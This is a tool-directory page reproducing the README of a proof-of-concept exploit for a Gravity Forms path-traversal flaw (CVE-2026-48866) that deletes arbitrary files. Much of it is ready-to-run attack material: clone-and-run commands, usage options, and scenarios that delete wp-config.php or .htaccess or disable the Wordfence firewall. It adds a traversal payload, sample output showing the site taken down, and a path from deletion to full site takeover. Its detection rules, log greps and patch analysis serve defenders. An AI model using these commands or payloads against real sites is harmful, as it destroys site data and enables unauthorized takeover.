Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-48866 — CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6) | Kitploit
Tools/GitHubGitHub/0xabcd01/cve-2026-48866
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHub0xabcd01/cve-2026-48866

CVE-2026-48866

CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)

View Repository
113 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-48866 CVSS 9.6 CWE-22 Affected Fixed

Type Access Trigger Platform Python License


root@kitploit:~
  ┌───────────────────────────────────────────────────────────┐
  │                                                           │
  │   C V E - 2 0 2 6 - 4 8 8 6 6                             │
  │                                                           │
  │   Gravity Forms Path Traversal → Arbitrary File Deletion  │
  │                                                           │
  └───────────────────────────────────────────────────────────┘

gform_uploaded_files accepts ../ in URLs. An admin's delete click triggers arbitrary file deletion.

NVD • Patchstack • Patched Commit • Source Mirror


Table of Contents

Exploit

  • Quick Start
  • How It Works
  • Impact
  • Usage

Defense

  • Technical Deep-Dive
  • Detection
  • Remediation
  • References

Quick Start

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘
root@kitploit:~
git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requests

# Inject only (unauthenticated — file dies when admin cleans entries)
python3 poc.py -t https://test.com -f 1 -i 3

# Full kill chain (admin creds provided — immediate deletion)
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'

How It Works

Attack Flow

root@kitploit:~
  ┌───────────────────────────────────────────────────────────────────────┐
  │                        PHASE 1 — INJECTION                           │
  │                    (Unauthenticated — any visitor)                    │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    POST gform_uploaded_files     ┌──────────────────┐  │
  │   │ Attacker │ ──────────────────────────────── │  WordPress AJAX  │  │
  │   └─────────┘    {"input_3": [{"url":           │  admin-ajax.php  │  │
  │                   ".../../../../wp-config.php"}] └────────┬─────────┘  │
  │                                                          │            │
  │                  esc_url_raw() → OK (doesn't strip ../)  │            │
  │                  is_valid_url() → OK (../ is valid URL)   │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │   wp_postmeta    │  │
  │                                                 │   (entry stored  │  │
  │                                                 │   WITH ../)      │  │
  │                                                 └────────┬─────────┘  │
  └──────────────────────────────────────────────────────────┼────────────┘
                                                             │
                               ┌─────────────────────────────┘
                               │  (hours, days, or weeks pass...)
                               ▼
  ┌───────────────────────────────────────────────────────────────────────┐
  │                       PHASE 2 — DELETION                             │
  │                 (Admin deletes entry — routine cleanup)               │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    delete_entry(42)              ┌──────────────────┐  │
  │   │  Admin  │ ──────────────────────────────── │  Gravity Forms   │  │
  │   └─────────┘                                  └────────┬─────────┘  │
  │                                                          │            │
  │                  get_physical_file_path()                 │            │
  │                  str_replace(url_base → path_base)        │            │
  │                  ../ SURVIVES in the path                 │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │    unlink()      │  │
  │                                                 │                  │  │
  │                                                 │  /var/www/html/  │  │
  │                                                 │  wp-config.php   │  │
  │                                                 │     → DELETED    │  │
  │                                                 └──────────────────┘  │
  └───────────────────────────────────────────────────────────────────────┘

The Root Cause (3 Lines of PHP)

root@kitploit:~
// forms_model.php — get_physical_file_path()
// Converts stored URL to filesystem path via string replacement
$path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
$file_path = str_replace(
    trailingslashit( $path_info['url'] ),    // https://target.com/wp-content/uploads/gravity_forms/
    trailingslashit( $path_info['path'] ),   // /var/www/html/wp-content/uploads/gravity_forms/
    $url                                      // .../gravity_forms/../../../wp-config.php
);
// Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
// OS resolves ../../../ → /var/www/html/wp-config.php

No check exists between str_replace() and unlink(). The bug lives in that gap.


Impact

TargetEffectSeverity
wp-config.phpSite goes offline. WordPress shows the installer wizard. Attacker points the DB to their own server for full site takeover.CRITICAL
.htaccessURL rewriting and security rules gone. Directory listings open.HIGH
wp-content/plugins/wordfence/wordfence.phpWordfence WAF stops running. No firewall between attacker and site.HIGH
wp-includes/plugin.phpNo plugins load. Site stops functioning.CRITICAL
wp-login.phpAdmin locked out. Nobody can log in until you restore files.MEDIUM

"Vulnerabilities like this one are used in mass-exploit campaigns targeting thousands of websites at a time." Patchstack Advisory, 2026-06-01

Deletion → RCE Escalation Chain

root@kitploit:~
  ┌─────────────┐      ┌──────────────────┐      ┌─────────────────┐
  │ Delete       │      │ WordPress shows   │      │ Attacker sets   │
  │ wp-config.php│ ──── │ installer wizard  │ ──── │ own DB creds    │
  └─────────────┘      └──────────────────┘      └────────┬────────┘
                                                           │
                                                           ▼
                                                  ┌─────────────────┐
                                                  │ Full admin      │
                                                  │ access to site  │
                                                  │ (RCE via themes │
                                                  │  /plugin editor)│
                                                  └─────────────────┘

RCE chain requires:

  • Attacker-controlled reachable MySQL server
  • WordPress installer accessible (not blocked by hosting/WAF)
  • Result: attacker gets a fresh WordPress install on the same domain, NOT access to existing site data

Usage

Command Reference

root@kitploit:~
┌──────────────────────────────────────────────────────────────────────────┐
│  USAGE                                                                   │
│  ─────────────────────────────────────────────────────────────────────   │
│  python3 poc.py [OPTIONS]                                                │
│                                                                          │
│  REQUIRED                                                                │
│    -t, --target TARGET       Target WordPress URL                        │
│    -f, --form-id ID          Gravity Forms form ID                       │
│    -i, --field-id ID         File upload field ID                        │
│                                                                          │
│  OPTIONAL                                                                │
│    --file FILE               Relative path to delete (default:           │
│                              wp-config.php)                              │
│    --depth N                 ../ count (default: 3)                       │
│    --trigger                 Auto-delete via admin login                  │
│    --admin-user USER         Admin username (default: admin)              │
│    --admin-pass PASS         Admin password (default: admin)              │
│    --proxy URL               HTTP proxy for intercepting                  │
│    --verify-only             Check target only, don't exploit             │
└──────────────────────────────────────────────────────────────────────────┘

Example Scenarios

Scenario 1: Silent injection (no admin creds needed)
root@kitploit:~
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3
  1. PoC fetches the form page, extracts the AJAX nonce
  2. Submits gform_uploaded_files with ../../../wp-config.php embedded in the URL
  3. The database stores the entry with the malicious URL
  4. When an admin deletes the entry (routine cleanup or bulk delete), wp-config.php is gone

Time to trigger: Unknown. Depends on admin behavior. Hours or weeks.

Scenario 2: Full kill chain (admin creds provided)
root@kitploit:~
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!'
  1. Phase 1: Injects the malicious entry (same as Scenario 1)
  2. Phase 2: Logs into WordPress as admin, finds the poisoned entry, deletes it
  3. wp-config.php is gone
  4. PoC checks that the site is down

Time to trigger: Seconds.

Scenario 3: Target .htaccess (lower depth needed)
root@kitploit:~
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --file .htaccess \
  --depth 2 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!'

Depth explanation:

root@kitploit:~
depth 3 (default):  gravity_forms/ → uploads/ → wp-content/ → WP root
depth 2:            gravity_forms/ → uploads/ → wp-content/ (.htaccess lives here)
depth 1:            gravity_forms/ → uploads/ (files in uploads dir)
Scenario 4: Disable Wordfence firewall
root@kitploit:~
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --file wp-content/plugins/wordfence/wordfence.php \
  --depth 1 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!'
Scenario 5: Route through Burp Suite
root@kitploit:~
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!' \
  --proxy http://127.0.0.1:8080

Sample Output

root@kitploit:~
    CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
    ======================================================
    Target:     https://test.com
    Form ID:    1
    Field ID:   3
    File:       wp-config.php
    Depth:      3
    Trigger:    True

[*] === Phase 1: Injecting path traversal payload ===
[*] Fetching form page to get nonce...
[+] Got nonce: a1b2c3d4e5f6
[*] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php
[*] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php...
[*] Response status: 200
[+] Form submitted successfully. Malicious URL stored in entry.

[*] === Phase 2: Triggering file deletion as admin ===
[+] Logged in as admin
[+] Found latest entry ID: 42
[*] Deleting entry 42...
[+] Entry deleted. If the target file existed, it should now be deleted.

[*] Checking target site health...
[!!!] Site returned error - wp-config.php may have been deleted!

Technical Deep-Dive

Call Stack: Injection Path

root@kitploit:~
wp_ajax_nopriv_gform_submit_form                     ← WordPress AJAX, NO AUTH
  └─ GF_Ajax_Handler::submit_form()
      └─ GFAPI::submit_form()
          └─ GFFormDisplay::process_form()
              ├─ GFFormsModel::set_uploaded_files()          [forms_model.php]
              │   └─ esc_url_raw( $file['url'] )             ← does NOT strip ../
              └─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
                  └─ get_multifile_value()
                      ├─ GFCommon::is_valid_url($url)        ← format-only, ../ passes
                      └─ $uploaded_files[] = $file['url']     ← STORED WITH ../

Call Stack: Deletion Path

root@kitploit:~
GFFormsModel::delete_lead()                           [forms_model.php]
  └─ GFFormsModel::delete_files( $entry_id )
      └─ delete_physical_file( $file_url, $entry_id )
          ├─ get_physical_file_path( $url )
          │   └─ str_replace( url_base, path_base, $url )    ← ../ PRESERVED
          ├─ file_exists( $file_path )                        ← OS resolves ../
          └─ unlink( $file_path )                             ← ARBITRARY FILE DELETED

Vulnerable vs Patched

Vulnerable (≤ 2.10.0.1)Patched (2.10.1)
root@kitploit:~
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}
root@kitploit:~
// delete_physical_file() — WITH validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// NEW: verify path is in uploads
if ( ! GFCommon::is_file_in_uploads($url) ) {
    GFCommon::log_debug(__METHOD__
        . sprintf(': Not deleting: %s', $file_path));
    return;
}
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}

Patch Functions (v2.10.1)

GFCommon::get_absolute_path() resolves . and .. by walking path segments:

root@kitploit:~
public static function get_absolute_path( $path ) {
    $path      = str_replace( array( '/', '\\' ), DIRECTORY_SEPARATOR, $path );
    $path      = str_replace( '://', '|%%protocol%%|', $path );
    $parts     = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
    $absolutes = array();

    foreach ( $parts as $part ) {
        if ( '.' == $part ) { continue; }
        if ( '..' == $part ) {
            array_pop( $absolutes );
        } else {
            $absolutes[] = $part;
        }
    }

    $path = implode( DIRECTORY_SEPARATOR, $absolutes );
    return str_replace( '|%%protocol%%|', '://', $path );
}

GFCommon::is_file_in_uploads() compares the resolved path against the uploads root:

root@kitploit:~
public static function is_file_in_uploads( $file ) {
    $file_path = self::get_absolute_path( $file );
    $root_url  = rgar(
        GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
    );
    if ( ! str_starts_with( $file_path, $root_url ) ) {
        return false;
    }
    return true;
}

Commit References

VersionCommitDescription
v2.10.086bf7b9Vulnerable. No path validation in delete_physical_file()
v2.10.1cf2ff65Patched. Adds is_file_in_uploads() guard before unlink()

Detection

Network: Suricata Rules

root@kitploit:~
# Rule 1: Detect ../ traversal in gform_uploaded_files
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"../"; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048866; rev:1;)

# Rule 2: URL-encoded variant (%2e%2e)
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"%2e%2e"; nocase; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048867; rev:1;)

# Rule 3: "url" key with traversal nearby
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"|22|url|22|"; distance:0; \
  content:".."; distance:0; within:200; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048868; rev:1;)

Host: YARA Rules

root@kitploit:~
rule CVE_2026_48866_Exploit_Payload {
    meta:
        description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
        cve         = "CVE-2026-48866"
        severity    = "critical"
        author      = "security-research"
    strings:
        $gform_param = "gform_uploaded_files"
        $traversal1  = "../"
        $traversal2  = "..\\"
        $traversal3  = "%2e%2e%2f" nocase
        $traversal4  = "..%2f" nocase
        $url_key     = "\"url\""
    condition:
        $gform_param and $url_key and any of ($traversal*)
}

rule CVE_2026_48866_Vulnerable_Plugin {
    meta:
        description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
        cve         = "CVE-2026-48866"
        severity    = "high"
    strings:
        $plugin_id = "gravityforms"
        $vuln_func = "delete_physical_file"
        $fix_func  = "is_file_in_uploads"
    condition:
        $plugin_id and $vuln_func and not $fix_func
}

rule CVE_2026_48866_Patched_Plugin {
    meta:
        description = "Confirms Gravity Forms has the is_file_in_uploads patch"
        cve         = "CVE-2026-48866"
        severity    = "informational"
    strings:
        $plugin_id   = "gravityforms"
        $fix_func    = "is_file_in_uploads"
        $fix_helper  = "get_absolute_path"
    condition:
        $plugin_id and $fix_func and $fix_helper
}
root@kitploit:~
# Scan your Gravity Forms installation
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
RuleYou Found
CVE_2026_48866_Exploit_PayloadThe exploit payload in an HTTP log or POST body
CVE_2026_48866_Vulnerable_PluginA Gravity Forms install without the fix
CVE_2026_48866_Patched_PluginA Gravity Forms install with the fix

Log Analysis

root@kitploit:~
# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log

# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log

# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE

Remediation

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│  REMEDIATION CHECKLIST                                                  │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1                               │
│  [ ] 2. VERIFY fix is present (grep for is_file_in_uploads)            │
│  [ ] 3. AUDIT access logs for past exploitation attempts               │
│  [ ] 4. DEPLOY Suricata/WAF rules as interim protection               │
│  [ ] 5. CHECK file integrity (were any core files already deleted?)    │
│  [ ] 6. MONITOR for new entries with suspicious file URLs              │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘
PriorityActionCommand
P0Update Gravity FormsWordPress admin → Plugins → Update
P1Verify patchgrep -r "is_file_in_uploads" wp-content/plugins/gravityforms/
P2Audit logsgrep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log
P3Deploy WAF rulesSee Detection section above

Disclaimer

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│  LEGAL NOTICE                                                           │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL  │
│  PURPOSES ONLY. Unauthorized access to computer systems is illegal      │
│  under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse      │
│  Directive, and equivalent laws worldwide.                              │
│                                                                         │
│  • Always obtain WRITTEN PERMISSION before testing systems you own.    │
│  • You are responsible for complying with all applicable laws.          │
│  • The authors assume NO LIABILITY for misuse of this software.         │
│                                                                         │
│  If you find this vulnerability in production: REPORT IT.               │
│  Patchstack: https://patchstack.com/database/                           │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

References

SourceLinkStatus
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-48866Verified
Patchstack Advisoryhttps://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerabilityVerified
Gravity Forms Changeloghttps://docs.gravityforms.com/gravityforms-change-log/Verified
Source Code (Mirror)https://github.com/codewurker/gravityformsVerified
Vulnerable Commit (v2.10.0)https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebedVerified
Patched Commit (v2.10.1)https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422Verified
CWE-22https://cwe.mitre.org/data/definitions/22.htmlVerified
MITRE CVEhttps://www.cve.org/CVERecord?id=CVE-2026-48866Not yet populated

Authorized pentesting Stars

Download Tool